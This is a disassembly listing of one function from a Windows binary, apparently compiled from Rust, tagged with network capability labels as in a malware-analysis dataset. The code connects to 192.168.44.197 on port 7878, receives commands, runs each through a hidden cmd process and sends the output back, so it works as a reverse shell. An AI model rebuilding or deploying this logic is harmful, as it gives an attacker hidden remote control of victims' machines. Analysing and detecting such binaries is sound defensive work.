Function at 0x140001639
Capabilities:
Receive data
Receive data on socket
Resolve dns

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x4e8
movdqa xmmword [rsp + 0x4d0], xmm6
lea rax, str.192.168.44.1977878
lea rcx, [rsp + 0x4b0]
mov qword [rcx], rax
mov qword [rcx + 8], 0xe
lea rax, [0x14004b90e]
lea r8, [rsp + 0x4c0]
mov qword [r8], rax
mov qword [r8 + 8], 4
lea rbx, [rsp + 0x130]
mov qword [rbx], rcx
lea rax, [sym.__T_as_core::fmt::Display_::fmt::hd226c2d94352e596]
mov qword [rbx + 8], rax
lea rcx, [0x14004b918]
lea rdx, [rsp + 0x2b0]
mov qword [rdx], rcx
mov ecx, 2
mov qword [rdx + 8], rcx
and qword [rdx + 0x20], 0
mov qword [rbx + 0x10], r8
mov qword [rbx + 0x18], rax
mov qword [rdx + 0x10], rbx
mov qword [rdx + 0x18], rcx
lea rdi, [rsp + 0x298]
mov rcx, rdi
call sym.alloc::fmt::format::format_inner::h5a493f368b54610e
mov rsi, qword [rdi + 8]
mov r15, qword [rdi + 0x10]
mov qword [rbx], rsi
mov qword [rbx + 8], r15
lea rcx, [rsp + 0x130]
call sym.core::net::parser::Parser::read_ipv4_addr::h8821ed0143ed6b48
mov rbx, rax
test bl, 1
je 0x1400017a6
mov r8, qword [rsp + 0x138]
test r8, r8
je 0x14000179e
mov r10, qword [rsp + 0x130]
cmp byte [r10], 0x3a
jne 0x14000179e
mov r9, r8
dec r9
je 0x14000179e
movabs rax, 0xffffffff00
and rbx, rax
shr rbx, 8
xor r11d, r11d
mov di, 0xa
xor eax, eax
movzx ebp, byte [r10 + r11 + 1]
add ebp, 0xffffffd0
cmp ebp, 9
ja 0x140001773
mul di
jo 0x14000179e
mov ecx, eax
add ax, bp
jb 0x14000179e
movsx eax, bp
add eax, ecx
inc r11
cmp r9, r11
jne 0x140001748
xor ecx, ecx
jmp 0x14000177c
mov rcx, r9
sub rcx, r11
mov r9d, r11d
mov qword [rsp + 0x138], rcx
test r9d, r9d
je 0x14000179e
movzx eax, ax
shl rax, 0x30
shl rbx, 0x10
or rbx, rax
mov eax, 1
jmp 0x1400017aa
mov qword [rsp + 0x138], r8
xor ebx, ebx
xor eax, eax
or rax, rbx
cmp ax, 1
je 0x1400018d7
movzx ecx, ax
mov rax, r15
test ecx, ecx
jne 0x1400018df
test r15, r15
je 0x1400018e8
lea rax, [rsi + 1]
lea rcx, [r15 - 1]
mov dl, byte [rsi]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], rcx
cmp dl, 0x5b
jne 0x1400018e8
pxor xmm6, xmm6
lea rdx, [rsp + 0x2b0]
movdqa xmmword [rdx], xmm6
lea rcx, [rsp + 0x130]
mov r8d, 8
call sym.core::net::parser::Parser::read_ipv6_addr::read_groups::h4a1e82ac26664210
cmp rax, 8
jne 0x140002a38
movdqa xmm0, xmmword [rsp + 0x2b0]
movdqa xmm1, xmm0
punpckhbw xmm1, xmm6
pshuflw xmm1, xmm1, 0xb1
pshufhw xmm1, xmm1, 0xb1
punpcklbw xmm0, xmm6
pshuflw xmm0, xmm0, 0xb1
pshufhw xmm0, xmm0, 0xb1
packuswb xmm0, xmm1
mov rcx, qword [rsp + 0x138]
test rcx, rcx
je 0x1400018e8
mov r8, qword [rsp + 0x130]
lea r9, [rcx - 1]
mov al, byte [r8]
xor ebp, ebp
cmp al, 0x25
jne 0x1400032f3
lea r10, [r8 + 1]
test r9, r9
je 0x140002bf8
lea rdi, [r8 + rcx]
mov ebp, 0xa
xor r14d, r14d
xor eax, eax
mov rbx, r9
xor r12d, r12d
movzx r11d, byte [r10 + r14]
add r11d, 0xffffffd0
cmp r11d, 9
ja 0x1400032aa
mul ebp
jo 0x140002bfe
mov edx, eax
add edx, r11d
jb 0x140002bfe
dec rbx
add r11d, eax
inc r14
mov eax, r11d
test rbx, rbx
jne 0x140001896
mov r14d, r9d
xor ebx, ebx
jmp 0x1400032b3
mov rax, qword [rsp + 0x138]
test rax, rax
je 0x14000196d
mov qword [rsp + 0x2b0], rsi
mov qword [rsp + 0x2b8], r15
and qword [rsp + 0x2c0], 0
mov byte [rsp + 0x2d8], 1
movabs rax, 0x3a0000003a
mov qword [rsp + 0x2d0], rax
mov bpl, 0x3a
mov rbx, qword [rsp + 0x2c8]
mov rdi, r15
mov cl, 0x3a
mov rdx, rsi
mov r8, rdi
call sym.core::slice::memchr::memrchr::h6284584f4bc85706
cmp rax, 1
jne 0x140001958
mov rdi, rdx
cmp rdx, r15
jae 0x14000194e
cmp byte [rsi + rdi], bpl
je 0x140001a90
mov rbx, rdi
cmp rdi, r15
jbe 0x140001929
jmp 0x140001961
test rax, rax
jne 0x140001a68
lea rcx, str.invalid_socket_address
jmp 0x140002ccf
mov esi, ebx
shr esi, 0x10
shr rbx, 0x18
xor r15d, r15d
mov al, byte [0x140058030]
mov ecx, 0x20
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h1ca289f3d44bb24b
test rax, rax
je 0x14000352c
mov rdi, rax
mov word [rax], r15w
mov rax, rbx
shl rax, 8
movzx ecx, sil
or rcx, rax
shr rbx, 0x18
mov word [rdi + 6], bx
mov dword [rdi + 2], ecx
movq qword [rdi + 8], xmm6
pshufd xmm0, xmm6, 0xee
movd dword [rdi + 0x10], xmm0
and dword [rdi + 0x14], 0
mov dword [rdi + 0x18], ebp
mov word [rdi + 0x1c], r14w
mov r13, rdi
add r13, 0x20
mov ebp, 1
lea r14, [rsp + 0x48]
and qword [r14], 0
lea rsi, [rsp + 0x2b2]
xor r12d, r12d
lea r15, [rsp + 0x2b0]
mov rbx, rdi
cmp rbx, r13
je 0x140001a72
movzx eax, word [rbx]
movups xmm0, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x13e], xmm0
movups xmm0, xmmword [rbx + 2]
movaps xmmword [rsp + 0x130], xmm0
cmp ax, 2
je 0x140001a72
mov word [rsp + 0x2b0], ax
movups xmm0, xmmword [rsp + 0x13e]
movups xmmword [rsi + 0xe], xmm0
movdqa xmm0, xmmword [rsp + 0x130]
movdqu xmmword [rsi], xmm0
xor ecx, ecx
mov rdx, r15
call sym.std::sys_common::net::TcpStream::connect::he10243998f39e5e3
mov r12, rdx
test rax, rax
je 0x140001b36
mov rcx, r14
call sym.core::ptr::drop_in_place_core::option::Option_std::io::error::Error__::hde012857979120a7
mov qword [rsp + 0x48], r12
add rbx, 0x20
jmp 0x1400019f8
mov qword [rsp + 0x2c8], rbx
jmp 0x140001a9c
mov rcx, rdi
mov rdx, rbp
call sym._ZN4core3ptr94drop_in_place_LT_alloc..vec..into_iter..IntoIter_LT_core..net..socket_addr..SocketAddr_GT__GT_17hcbaca57a4168734
test r12, r12
lea rcx, str.could_not_resolve_to_any_addresses
cmovne rcx, r12
jmp 0x140002ccf
mov qword [rsp + 0x2c8], rbx
lea r8, [rdi + 1]
lea rcx, str.invalid_port_value
sub r15, r8
je 0x140002ccf
add r8, rsi
cmp r15, 1
jne 0x140001ad6
movzx eax, byte [r8]
cmp eax, 0x2b
je 0x140002ccf
mov r15d, 1
cmp eax, 0x2d
je 0x140002ccf
jmp 0x140002996
cmp byte [r8], 0x2b
jne 0x14000298c
inc r8
lea rax, [r15 - 1]
cmp r15, 6
mov r15, rax
jb 0x140002996
xor r9d, r9d
mov r10w, 0xa
xor eax, eax
cmp r15, r9
je 0x1400029bb
mul r10w
seto r11b
movzx edx, byte [r8 + r9]
add edx, 0xffffffd0
cmp edx, 9
ja 0x140002ccf
test r11b, r11b
jne 0x140002ccf
inc r9
add ax, dx
jae 0x140001afe
jmp 0x140002ccf
mov rcx, rdi
mov rdx, rbp
call sym._ZN4core3ptr94drop_in_place_LT_alloc..vec..into_iter..IntoIter_LT_core..net..socket_addr..SocketAddr_GT__GT_17hcbaca57a4168734
lea rcx, [rsp + 0x48]
call sym.core::ptr::drop_in_place_core::option::Option_std::io::error::Error__::hde012857979120a7
lea rax, [rsp + 0x210]
and qword [rax - 8], 0
mov qword [rsp + 0x108], r12
mov qword [rax], r12
lea rbx, [rsp + 0x2b0]
mov r8d, 0x200
mov rcx, rbx
xor edx, edx
call sub.msvcrt.dll_memset
mov rcx, qword [rsp + 0x108]
mov rdx, rbx
mov r8d, 0x200
xor r9d, r9d
call sub.WS2_32.dll_recv
cmp eax, 0xffffffff
je 0x140002b29
test eax, eax
je 0x140002b39
movsxd r8, eax
cmp r8, 0x201
jae 0x1400033b5
lea rcx, [rsp + 0x270]
mov rdx, rbx
call sym.alloc::string::String::from_utf8_lossy::h8ec0a62db666dcf3
mov al, byte [0x140058030]
mov ecx, 3
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h1ca289f3d44bb24b
test rax, rax
je 0x1400033cc
mov ecx, 3
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x140], rcx
mov byte [rsp + 0x148], 0
and qword [rsp + 0x150], 0
mov qword [rsp + 0x158], 8
and qword [rsp + 0x160], 0
and qword [rsp + 0x1b8], 0
and qword [rsp + 0x1c8], 0
and word [rsp + 0x1d0], 0
movabs rcx, 0x8000000000000000
mov qword [rsp + 0x168], rcx
and dword [rsp + 0x1f4], 0
and word [rsp + 0x1f0], 0
and word [rsp + 0x1f8], 0
mov byte [rax + 2], 0x64
mov ecx, 6
mov dword [rsp + 0x188], ecx
mov dword [rsp + 0x198], ecx
mov dword [rsp + 0x1a8], ecx
and qword [rsp + 0x1d8], 0
mov word [rax], 0x6d63
and qword [rsp + 0x1e8], 0
mov r8d, 2
lea rcx, [rsp + 0x130]
lea rdx, [0x14004b993]
call sym.std::sys::pal::windows::process::Command::arg::h7e795782f7f3452c
mov rax, qword [rsp + 0x278]
mov rcx, qword [rsp + 0x280]
add rcx, rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x100], rax
mov rcx, rax
xor r13d, r13d
mov rbx, r13
cmp rcx, qword [rsp + 0x38]
mov qword [rsp + 0x110], rcx
je 0x140001d80
mov r10, rcx
movzx ecx, byte [rcx]
test cl, cl
js 0x140001d03
lea r13, [r10 + 1]
jmp 0x140001d5e
mov eax, ecx
and eax, 0x1f
movzx r8d, byte [r10 + 1]
and r8d, 0x3f
cmp cl, 0xdf
jbe 0x140001d45
movzx edx, byte [r10 + 2]
shl r8d, 6
and edx, 0x3f
or edx, r8d
cmp cl, 0xf0
jb 0x140001d53
lea r13, [r10 + 4]
movzx ecx, byte [r10 + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ecx, eax
jmp 0x140001d5e
lea r13, [r10 + 2]
shl eax, 6
or eax, r8d
mov ecx, eax
jmp 0x140001d5e
lea r13, [r10 + 3]
shl eax, 0xc
or edx, eax
mov ecx, edx
mov qword [rsp + 0x30], r13
sub r13, r10
add r13, rbx
call sym.__F_as_core::str::pattern::MultiCharEq_::matches::h7c8f4a244834969f
mov rcx, qword [rsp + 0x30]
mov rdx, r13
test al, al
jne 0x140001cdd
jmp 0x140001d8a
mov r13, rbx
mov rcx, qword [rsp + 0x38]
xor edx, edx
mov qword [rsp + 0x230], rdx
mov qword [rsp + 0x238], rbx
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x30], rcx
cmp rcx, rax
je 0x140001e3e
mov rbx, rax
movzx ecx, byte [rax - 1]
test cl, cl
js 0x140001dc3
lea rax, [rbx - 1]
mov qword [rsp + 0x28], rax
jmp 0x140001e1c
movzx eax, byte [rbx - 2]
cmp al, 0xc0
jge 0x140001df2
movzx edx, byte [rbx - 3]
cmp dl, 0xc0
jge 0x140001e00
lea r8, [rbx - 4]
mov qword [rsp + 0x28], r8
movzx r8d, byte [rbx - 4]
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
jmp 0x140001e0c
lea rdx, [rbx - 2]
mov qword [rsp + 0x28], rdx
and eax, 0x1f
jmp 0x140001e14
lea r8, [rbx - 3]
mov qword [rsp + 0x28], r8
and edx, 0xf
shl edx, 6
and eax, 0x3f
or eax, edx
shl eax, 6
and ecx, 0x3f
or ecx, eax
call sym.__F_as_core::str::pattern::MultiCharEq_::matches::h7c8f4a244834969f
test al, al
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x28]
jne 0x140001da4
sub r13, rcx
add r13, rbx
mov r8, r13
jmp 0x140001e46
mov r8, qword [rsp + 0x230]
mov rax, qword [rsp + 0x110]
cmp rax, qword [rsp + 0x38]
mov eax, 0
mov rcx, qword [rsp + 0x238]
cmove rcx, rax
sub r8, rcx
mov rdx, qword [rsp + 0x100]
add rdx, rcx
lea r13, [rsp + 0x130]
mov rcx, r13
call sym.std::sys::pal::windows::process::Command::arg::h7e795782f7f3452c
mov dword [rsp + 0x1f4], 0x8000000
mov dword [rsp + 0x88], 3
lea rbx, [rsp + 0x48]
mov rcx, rbx
mov rdx, r13
lea r8, [rsp + 0x88]
call sym.std::sys::pal::windows::process::Command::spawn::h5242163f7f9069de
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x58]
cmp rax, 2
je 0x1400033e5
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbx + 0x38]
lea rdx, [rsp + 0x248]
mov qword [rdx + 0x20], rcx
movdqu xmm0, xmmword [rbx + 0x18]
movdqu xmm1, xmmword [rbx + 0x28]
movdqu xmmword [rdx + 0x10], xmm1
movdqu xmmword [rdx], xmm0
mov rcx, qword [rsp + 0x248]
and qword [rsp + 0x240], 0
test rax, rax
je 0x140001f11
call fcn.140045bec
and qword [rsp + 0x118], 0
mov edx, 1
mov qword [rsp + 0x120], rdx
and qword [rsp + 0x128], 0
and qword [rsp + 0xb8], 0
and qword [rsp + 0xc8], 0
mov rcx, qword [rsp + 0x250]
and qword [rsp + 0x250], 0
mov r13, qword [rsp + 0x258]
mov rax, qword [rsp + 0x260]
and qword [rsp + 0x260], 0
mov qword [rsp + 0xc0], rdx
mov rdx, qword [rsp + 0x268]
mov qword [rsp + 0x38], rdx
cmp rcx, 0
je 0x140001fbe
test rax, rax
je 0x140001ff3
mov rcx, rbx
mov rdx, r13
lea r8, [rsp + 0x118]
call sym.std::sys::pal::windows::pipe::AsyncPipe::new::h459c4a0b5e39ab10
mov rax, qword [rsp + 0x48]
mov r13, qword [rsp + 0x50]
cmp rax, 3
jne 0x140002026
mov rcx, qword [rsp + 0x38]
call fcn.140045bec
jmp 0x140002326
test rax, rax
je 0x14000232f
mov r13, qword [rsp + 0x38]
mov qword [rsp + 0x88], r13
lea rcx, [rsp + 0x88]
lea rdx, [rsp + 0xb8]
call sym.std::sys::pal::windows::pipe::AnonPipe::read_to_end::h4618892a286312ee
test rax, rax
je 0x140002019
jmp 0x1400034fb
mov qword [rsp + 0x88], r13
lea rcx, [rsp + 0x88]
lea rdx, [rsp + 0x118]
call sym.std::sys::pal::windows::pipe::AnonPipe::read_to_end::h4618892a286312ee
test rax, rax
jne 0x1400034ca
mov rcx, r13
call fcn.140045bec
jmp 0x14000232f
movdqu xmm0, xmmword [rbx + 0x10]
movdqu xmm1, xmmword [rbx + 0x20]
lea rcx, [rsp + 0xe0]
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], r13
mov rcx, rbx
mov rdx, qword [rsp + 0x38]
lea r8, [rsp + 0xb8]
call sym.std::sys::pal::windows::pipe::AsyncPipe::new::h459c4a0b5e39ab10
mov rax, qword [rsp + 0x48]
mov r13, qword [rsp + 0x50]
cmp rax, 3
je 0x140002319
movdqu xmm0, xmmword [rbx + 0x10]
movdqu xmm1, xmmword [rbx + 0x20]
lea rcx, [rsp + 0x98]
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], r13
mov rax, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xb0]
mov qword [rsp + 0x288], rax
mov qword [rsp + 0x290], rcx
mov ecx, 2
lea rdx, [rsp + 0x288]
xor r8d, r8d
mov r9d, 0xffffffff
call sub.KERNEL32.dll_WaitForMultipleObjects
cmp eax, 1
je 0x14000213d
test eax, eax
jne 0x140002225
mov rax, qword [rsp + 0xd0]
test rax, rax
je 0x1400021f5
cmp eax, 1
jne 0x1400021d3
mov rdx, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xf0]
and dword [rsp + 0x44], 0
lea r8, [rsp + 0x44]
mov r9d, 1
call sub.KERNEL32.dll_GetOverlappedResult
test eax, eax
je 0x140002927
mov eax, dword [rsp + 0x44]
jmp 0x1400021db
mov rax, qword [rsp + 0x88]
test rax, rax
je 0x1400021a8
cmp eax, 2
jne 0x140002159
mov rax, qword [rsp + 0x90]
jmp 0x14000218a
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0xa8]
and dword [rsp + 0x44], 0
lea r8, [rsp + 0x44]
mov r9d, 1
call sub.KERNEL32.dll_GetOverlappedResult
test eax, eax
je 0x14000223a
mov eax, dword [rsp + 0x44]
and qword [rsp + 0x88], 0
mov rcx, qword [rsp + 0xa0]
add qword [rcx + 0x10], rax
test rax, rax
je 0x140002292
mov rcx, rbx
lea rdx, [rsp + 0x88]
call sym.std::sys::pal::windows::pipe::AsyncPipe::schedule_read::he9985c009ed2adcd
cmp byte [rsp + 0x48], 0
jne 0x140002307
cmp byte [rsp + 0x49], 0
jne 0x1400020c5
jmp 0x140002292
mov rax, qword [rsp + 0xd8]
and qword [rsp + 0xd0], 0
mov rcx, qword [rsp + 0xe8]
add qword [rcx + 0x10], rax
test rax, rax
je 0x14000221b
mov rcx, rbx
lea rdx, [rsp + 0xd0]
call sym.std::sys::pal::windows::pipe::AsyncPipe::schedule_read::he9985c009ed2adcd
cmp byte [rsp + 0x48], 0
jne 0x140002307
cmp byte [rsp + 0x49], 0
jne 0x1400020c5
lea r13, [rsp + 0x88]
jmp 0x14000229a
call sub.KERNEL32.dll_GetLastError
mov r13d, eax
shl r13, 0x20
or r13, 2
jmp 0x14000230c
call sub.KERNEL32.dll_GetLastError
mov r13d, eax
shl r13, 0x20
or r13, 2
mov qword [rsp + 0x48], r13
mov rax, r13
movabs rcx, 0xffffffff00000000
and rax, rcx
movabs rcx, 0x6d00000000
cmp rax, rcx
je 0x140002281
movabs rcx, 0x2600000000
cmp rax, rcx
jne 0x14000230c
mov rcx, rbx
call sym.core::ptr::drop_in_place_std::io::error::Error_::h3466fc80fe41233f
and qword [rsp + 0x88], 0
lea r13, [rsp + 0xd0]
mov rax, qword [r13]
test rax, rax
je 0x1400022e9
cmp eax, 2
jne 0x1400022ae
mov rax, qword [r13 + 8]
jmp 0x1400022d7
mov rdx, qword [r13 + 0x10]
and dword [rsp + 0x44], 0
mov rcx, qword [r13 + 0x20]
lea r8, [rsp + 0x44]
mov r9d, 1
call sub.KERNEL32.dll_GetOverlappedResult
test eax, eax
je 0x1400028d5
mov eax, dword [rsp + 0x44]
and qword [r13], 0
mov rcx, qword [r13 + 0x18]
add qword [rcx + 0x10], rax
test rax, rax
je 0x140002302
mov rcx, rbx
mov rdx, r13
call sym.std::sys::pal::windows::pipe::AsyncPipe::schedule_read::he9985c009ed2adcd
cmp byte [rsp + 0x48], 0
jne 0x140002307
cmp byte [rsp + 0x49], 0
jne 0x14000229a
xor r13d, r13d
jmp 0x14000230c
mov r13, qword [rsp + 0x50]
lea rcx, [rsp + 0x88]
call sym.core::ptr::drop_in_place_std::sys::pal::windows::pipe::AsyncPipe_::h63b380fa1a2e70be
lea rcx, [rsp + 0xd0]
call sym.core::ptr::drop_in_place_std::sys::pal::windows::pipe::AsyncPipe_::h63b380fa1a2e70be
test r13, r13
jne 0x140003481
mov r13, qword [rsp + 0x30]
mov rcx, r13
mov edx, 0xffffffff
call sub.KERNEL32.dll_WaitForSingleObject
test eax, eax
je 0x1400023a2
call sub.KERNEL32.dll_GetLastError
mov ebx, eax
cmp qword [rsp + 0xb8], 0
je 0x140002369
mov rcx, qword [rsp + 0xc0]
mov edx, 1
call sym.__rust_dealloc
cmp qword [rsp + 0x118], 0
je 0x140002386
mov rcx, qword [rsp + 0x120]
mov edx, 1
call sym.__rust_dealloc
shl rbx, 0x20
or rbx, 2
mov qword [rsp + 0x38], rbx
movabs rbx, 0x8000000000000000
mov r13, rbx
jmp 0x140002415
and dword [rsp + 0x48], 0
mov rcx, r13
mov rdx, rbx
call sub.KERNEL32.dll_GetExitCodeProcess
test eax, eax
je 0x140002345
mov r13, qword [rsp + 0x118]
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x228], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x220], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x218], rax
movabs rbx, 0x8000000000000000
mov rcx, qword [rsp + 0x30]
call fcn.140045bec
mov rcx, qword [rsp + 0x28]
call fcn.140045bec
mov qword [rsp + 0x110], r13
cmp r13, rbx
je 0x1400033db
mov rcx, qword [rsp + 0x130]
mov rdx, qword [rsp + 0x138]
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h1881a599daea7783
mov rax, qword [rsp + 0x158]
mov rbx, qword [rsp + 0x160]
mov qword [rsp + 0x30], rax
lea r13, [rax + 0x10]
sub rbx, 1
jb 0x140002481
mov rcx, qword [r13 - 8]
mov rdx, qword [r13]
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h1881a599daea7783
add r13, 0x28
jmp 0x140002468
mov rax, qword [rsp + 0x150]
test rax, rax
je 0x1400024a1
imul r8, rax, 0x28
mov edx, 8
mov rcx, qword [rsp + 0x30]
call sym.__alloc::alloc::Global_as_core::alloc::Allocator_::deallocate::hdc0994f4ff5a41b1
mov rax, qword [rsp + 0x1b8]
test rax, rax
je 0x1400024d8
mov r15, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x1c8]
mov qword [rsp + 0x30], rcx
mov ecx, 1
mov qword [rsp + 0x28], rcx
mov rdi, rax
xor r12d, r12d
jmp 0x1400025fb
xor eax, eax
mov qword [rsp + 0x28], rax
xor eax, eax
mov qword [rsp + 0x30], rax
jmp 0x1400025fb
cmp qword [rsp + 0x28], 0
je 0x1400033a9
test r12, r12
jne 0x14000251e
mov r12, rdi
sub r15, 1
jb 0x14000250f
mov r12, qword [r12 + 0x3d8]
jmp 0x1400024ff
mov ecx, 1
mov qword [rsp + 0x28], rcx
xor r15d, r15d
xor edi, edi
dec rax
mov qword [rsp + 0x30], rax
mov rbx, r15
mov r13, r12
movzx eax, word [r13 + 0x3d2]
cmp rbx, rax
jb 0x140002563
lea rcx, [rsp + 0x48]
mov rdx, r13
mov r8, rdi
call fcn.1400117c5
mov r13, qword [rsp + 0x48]
test r13, r13
je 0x140003360
mov rdi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
jmp 0x14000252c
lea r15, [rbx + 1]
test rdi, rdi
je 0x14000258c
lea rax, [r15*8 + 0x3d8]
add rax, r13
mov r12, qword [rax]
lea rax, [r12 + 0x3d8]
dec rdi
jne 0x140002577
xor r15d, r15d
jmp 0x14000258f
mov r12, r13
imul rdi, rbx, 0x38
mov rcx, qword [r13 + rdi + 0x168]
mov rdx, qword [r13 + rdi + 0x170]
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h1881a599daea7783
mov r8, qword [r13 + rdi + 0x188]
test r8, r8
je 0x1400025d0
lea rax, [rdi + r13]
add rax, 0x168
add r8, r8
mov rcx, qword [rax + 0x28]
mov edx, 2
call sym.__alloc::alloc::Global_as_core::alloc::Allocator_::deallocate::hdc0994f4ff5a41b1
shl rbx, 5
mov rcx, qword [r13 + rbx]
mov edi, 0
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x1400025fb
add r13, rbx
mov rdx, qword [r13 + 8]
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h1881a599daea7783
xor edi, edi
mov rax, qword [rsp + 0x30]
test rax, rax
jne 0x1400024eb
cmp qword [rsp + 0x28], 0
lea rbx, [rsp + 0x48]
je 0x140002652
mov r8, rdi
mov rdx, r12
test r12, r12
jne 0x140002640
mov rax, r15
mov rdx, rdi
sub rax, 1
jb 0x140002636
mov rdx, qword [rdx + 0x3d8]
jmp 0x140002627
xor r8d, r8d
jmp 0x140002640
mov r8, qword [rsp + 0x50]
mov rcx, rbx
call fcn.1400117c5
mov rdx, qword [rsp + 0x48]
test rdx, rdx
jne 0x14000263b
mov rcx, qword [rsp + 0x168]
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x140002676
mov rdx, qword [rsp + 0x170]
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h1881a599daea7783
mov ecx, dword [rsp + 0x188]
mov rdx, qword [rsp + 0x190]
call sym.core::ptr::drop_in_place_core::option::Option_std::sys::pal::windows::process::Stdio__::he6720b6a7bcfb0cc
mov ecx, dword [rsp + 0x198]
mov rdx, qword [rsp + 0x1a0]
call sym.core::ptr::drop_in_place_core::option::Option_std::sys::pal::windows::process::Stdio__::he6720b6a7bcfb0cc
mov ecx, dword [rsp + 0x1a8]
mov rdx, qword [rsp + 0x1b0]
call sym.core::ptr::drop_in_place_core::option::Option_std::sys::pal::windows::process::Stdio__::he6720b6a7bcfb0cc
mov rax, qword [rsp + 0x1d8]
test rax, rax
je 0x1400026e8
mov rbp, qword [rsp + 0x1e0]
mov rcx, qword [rsp + 0x1e8]
mov qword [rsp + 0x30], rcx
mov ecx, 1
mov qword [rsp + 0x28], rcx
xor esi, esi
mov r14, rax
jmp 0x1400027d4
xor eax, eax
mov qword [rsp + 0x28], rax
xor eax, eax
mov qword [rsp + 0x30], rax
jmp 0x1400027d4
cmp qword [rsp + 0x28], 0
lea rbx, [rsp + 0x48]
je 0x1400033a9
test rsi, rsi
jne 0x140002732
mov rsi, r14
sub rbp, 1
jb 0x140002723
mov rsi, qword [rsi + 0x170]
jmp 0x140002714
mov eax, 1
mov qword [rsp + 0x28], rax
xor ebp, ebp
xor r14d, r14d
dec r13
mov rax, rbp
mov rdx, rsi
movzx ecx, word [rdx + 0x16a]
cmp rax, rcx
jb 0x14000276c
mov rcx, rbx
mov r8, r14
call sym._ZN5alloc11collections5btree4node127NodeRef_LT_alloc..collections..btree..node..marker..Dying_C_K_C_V_C_alloc..collections..bt
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x140003360
mov r14, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
jmp 0x14000273b
lea rbp, [rax + 1]
test r14, r14
mov qword [rsp + 0x30], r13
je 0x140002798
lea rcx, [rdx + rbp*8]
add rcx, 0x170
mov rsi, qword [rcx]
lea rcx, [rsi + 0x170]
dec r14
jne 0x140002785
xor ebp, ebp
jmp 0x14000279b
mov rsi, rdx
imul rax, rax, 0x18
mov r13, qword [rdx + rax + 0x60]
mov rbx, qword [rdx + rax + 0x68]
mov rax, qword [rbx]
test rax, rax
je 0x1400027b6
mov rcx, r13
call rax
mov r8, qword [rbx + 8]
mov r14d, 0
test r8, r8
je 0x1400027d4
mov rdx, qword [rbx + 0x10]
mov rcx, r13
call sym.__alloc::alloc::Global_as_core::alloc::Allocator_::deallocate::hdc0994f4ff5a41b1
xor r14d, r14d
mov r13, qword [rsp + 0x30]
test r13, r13
jne 0x1400026fb
cmp qword [rsp + 0x28], 0
lea rbx, [rsp + 0x48]
je 0x14000282b
mov r8, r14
mov rdx, rsi
test rsi, rsi
jne 0x140002819
mov rax, rbp
mov rdx, r14
sub rax, 1
jb 0x14000280f
mov rdx, qword [rdx + 0x170]
jmp 0x140002800
xor r8d, r8d
jmp 0x140002819
mov r8, qword [rsp + 0x50]
mov rcx, rbx
call sym._ZN5alloc11collections5btree4node127NodeRef_LT_alloc..collections..btree..node..marker..Dying_C_K_C_V_C_alloc..collections..bt
mov rdx, qword [rsp + 0x48]
test rdx, rdx
jne 0x140002814
mov rbx, qword [rsp + 0x108]
mov rcx, rbx
mov r13, qword [rsp + 0x38]
mov rdx, r13
mov r8, qword [rsp + 0x100]
call sym.std::io::Write::write_all::h0da01b531d760fd3
mov rcx, rax
lea rdx, [0x14004b9e8]
call sym.core::result::Result_T_E_::expect::hd85068dcd339b890
mov rcx, rbx
mov rbx, qword [rsp + 0x220]
mov rdx, rbx
mov r8, qword [rsp + 0x218]
call sym.std::io::Write::write_all::h0da01b531d760fd3
mov rcx, rax
lea rdx, [0x14004ba00]
call sym.core::result::Result_T_E_::expect::hd85068dcd339b890
mov rcx, qword [rsp + 0x110]
mov rdx, r13
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h1881a599daea7783
mov rcx, qword [rsp + 0x228]
mov rdx, rbx
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h1881a599daea7783
mov rcx, qword [rsp + 0x270]
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x1400028c8
mov rdx, qword [rsp + 0x278]
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h1881a599daea7783
lea rbx, [rsp + 0x2b0]
jmp 0x140001b7b
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x48], rax
mov rdx, rax
movabs rcx, 0xffffffff00000000
and rax, rcx
movabs rcx, 0x6d00000000
cmp rax, rcx
je 0x140002915
movabs rcx, 0x2600000000
cmp rax, rcx
